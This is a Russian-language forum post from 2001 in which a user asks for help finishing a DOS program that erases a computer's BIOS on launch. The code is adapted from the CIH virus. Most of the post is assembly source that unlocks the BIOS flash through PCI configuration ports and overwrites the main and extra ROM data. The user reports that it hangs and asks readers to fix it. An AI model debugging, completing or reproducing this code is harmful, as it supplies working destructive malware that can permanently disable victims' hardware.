если вы видите этот текст, отключите в настройках форума использование JavaScript
Легенда:
новое сообщение
закрытая нитка
новое сообщение
в закрытой нитке
старое сообщение
Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания .
Новичкам также крайне полезно ознакомиться с данным документом .
Помогите грохнуть BIOS!!! 22.12.01 21:19
Автор: Stealth! Статус: Незарегистрированный пользователь
Привет, дорогой форум!
У меня вопрос.
Я хотел написать прогу, которая работает под дос и при запуске просто стирает BIOS. Для этого я попытался переделать всем известный вирус Win95.CIH (есть исходник на русском), но прога виснет и ничего не стирает. Я экспериментировал, т.к. есть программатор :-) Привожу текст своей переделки - может, кто найдет, где ошибка... Или посоветует, как сделать прогу с такими свойствами... С уважением, Stealth.
;--------------------------------------------------------------------------
; * Turbo Assembler 4.0 : tasm /m bios *
; * Turbo Link 3.01 : tlink /3 /t bios *
;--------------------------------------------------------------------------
.586P
cseg segment
assume cs:cseg,ds:cseg,ss:cseg
assume es:cseg,fs:cseg,gs:cseg
org 100h
start:
;--------------------------
; Прибить BIOS EEPROM
;--------------------------
mov bp, 0cf8h
lea esi, IOForEEPROM-@7[esi]
;----------------------
; Прочитать страницу BIOS
; 000E0000 - 000EFFFF
; ( 64 KB )
;----------------------
mov edi, 8000384ch
mov dx, 0cfeh
cli
call esi
;----------------------
; Прочитать страницу BIOS
; 000F0000 - 000FFFFF
; ( 64 KB )
;----------------------
mov di, 0058h
dec edx ; and al,0fh
mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h
call esi
;----------------------
; Прочитать дополнительные данные BIOS
; 000E0000 - 000E01FF
; ( 512 Bytes )
; и секция дополнительного BIOS (Extra BIOS)
; может быть записана...
;----------------------
lea ebx, EnableEEPROMToWrite-@10[esi]
mov eax, 0e5555h
mov ecx, 0e2aaah
call ebx
mov byte ptr [eax], 60h
push ecx
loop $
;----------------------
; Прибить дополнительные данные BIOS (BIOS Extra ROM Data)
; 000E0000 - 000E007F
; ( 80h Bytes )
;----------------------
xor ah, ah
mov [eax], al
xchg ecx, eax
loop $
;----------------------
; Показать и включить основные данные BIOS {BIOS Main ROM Data}
; 000E0000 - 000FFFFF, (128 KB), может быть записана...
;----------------------
mov eax, 0f5555h
pop ecx
mov ch, 0aah
call ebx
mov byte ptr [eax], 20h
loop $
;----------------------
; Прибить данные об основном BIOS {BIOS Main ROM Data}
; 000FE000 - 000FE07F, (80h Bytes)
;----------------------
mov ah, 0e0h
mov [eax], al
;----------------------
; Спрятать страницу BIOS
; 000F0000 - 000FFFFF,(64 KB)
;----------------------
; or al,10h
mov word ptr (BooleanCalculateCode-@10)[esi], 100ch
call esi
;----------------------
; Выйти в DOS
;----------------------
mov ah,4ch
int 21h
;--------------------------
; Разрешить EEPROM для записи
;--------------------------
EnableEEPROMToWrite:
mov [eax], cl
mov [ecx], al
mov byte ptr [eax], 80h
mov [eax], cl
mov [ecx], al
ret
;--------------------------
; Ввод/вывод в EEPROM
;--------------------------
IOForEEPROM:
@10 = IOForEEPROM
xchg eax, edi
xchg edx, ebp
out dx, eax
xchg eax, edi
xchg edx, ebp
in al, dx
BooleanCalculateCode = $
or al, 44h
xchg eax, edi
xchg edx, ebp
out dx, eax
xchg eax, edi
xchg edx, ebp
out dx, al
ret
;--------------------------------------------------------
; Динамические данные
;--------------------------------------------------------
FileNameBufferSize = 7fh
FileNameBuffer db FileNameBufferSize dup(?)
@7 = FileNameBuffer
;----------------------------------------------------------------------------
cseg ends
end start